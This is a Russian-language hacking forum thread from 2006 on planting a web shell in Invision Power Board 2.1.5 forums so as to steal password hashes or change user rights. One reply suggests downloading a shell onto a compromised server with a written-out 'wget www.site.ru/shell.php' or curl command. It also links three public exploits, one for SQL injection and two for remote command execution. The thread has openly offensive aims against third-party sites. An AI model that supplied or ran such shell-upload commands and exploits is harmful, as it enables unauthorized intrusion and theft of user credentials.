Форумы Шел в ipb 2.1.5

Discussion in 'Уязвимости CMS/форумов' started by George767, 22 May 2006.

Thread Status:
Not open for further replies.
  1. George767

    George767 Elder - Старейшина

    Joined:
    10 Jan 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1
    Привет!
    тут где-то валялась тема в которой было видео по заливке шелла в ipb 2.1.5 Но заливка не имея уже пароль админа, а заливка в сообщение и далее через форму поиска запуск шелла и кража любого хеша или же редатирование прав юзеров...
    Подскажите ссылку если кто знает

    Спасибо
     
  2. qPhoenix

    qPhoenix Banned

    Joined:
    15 Dec 2005
    Messages:
    87
    Likes Received:
    50
    Reputations:
    8
    Кажись улетело в закрытый раздел... :D
     
  3. Darkwayder

    Darkwayder Elder - Старейшина

    Joined:
    20 May 2006
    Messages:
    35
    Likes Received:
    2
    Reputations:
    0
    Про точто ты говоришь не может такого быть. Есть сплойт который даёт выполнять удалённые команды на тачке где стоит ipb твоей версии. Но я думаю шелл будет легко залить wget www.site.ru/shell.php, или через curl попробуй. Воще просто посмотри какие есть качалки и всё. А воще только щас посмотрел есть 3 сплойта. 1 на скуль, а 2 на выполнение команд. Короче держи ссылки.
    http://www.milw0rm.com/exploits/1720
    http://www.milw0rm.com/exploits/1726
    http://www.milw0rm.com/exploits/1733
     
  4. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    918
    Likes Received:
    213
    Reputations:
    154
  5. Noth!nG

    Noth!nG Elder - Старейшина

    Joined:
    8 Mar 2006
    Messages:
    31
    Likes Received:
    4
    Reputations:
    0
    Видео действительно было на http://video.antichat.ru/. Сейчас не найти.

    Извините, нет совпадений. Попробуйте указать другие темы.
     
  6. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    918
    Likes Received:
    213
    Reputations:
    154
    #6 Azazel, 22 May 2006
    Last edited: 23 May 2006
Thread Status:
Not open for further replies.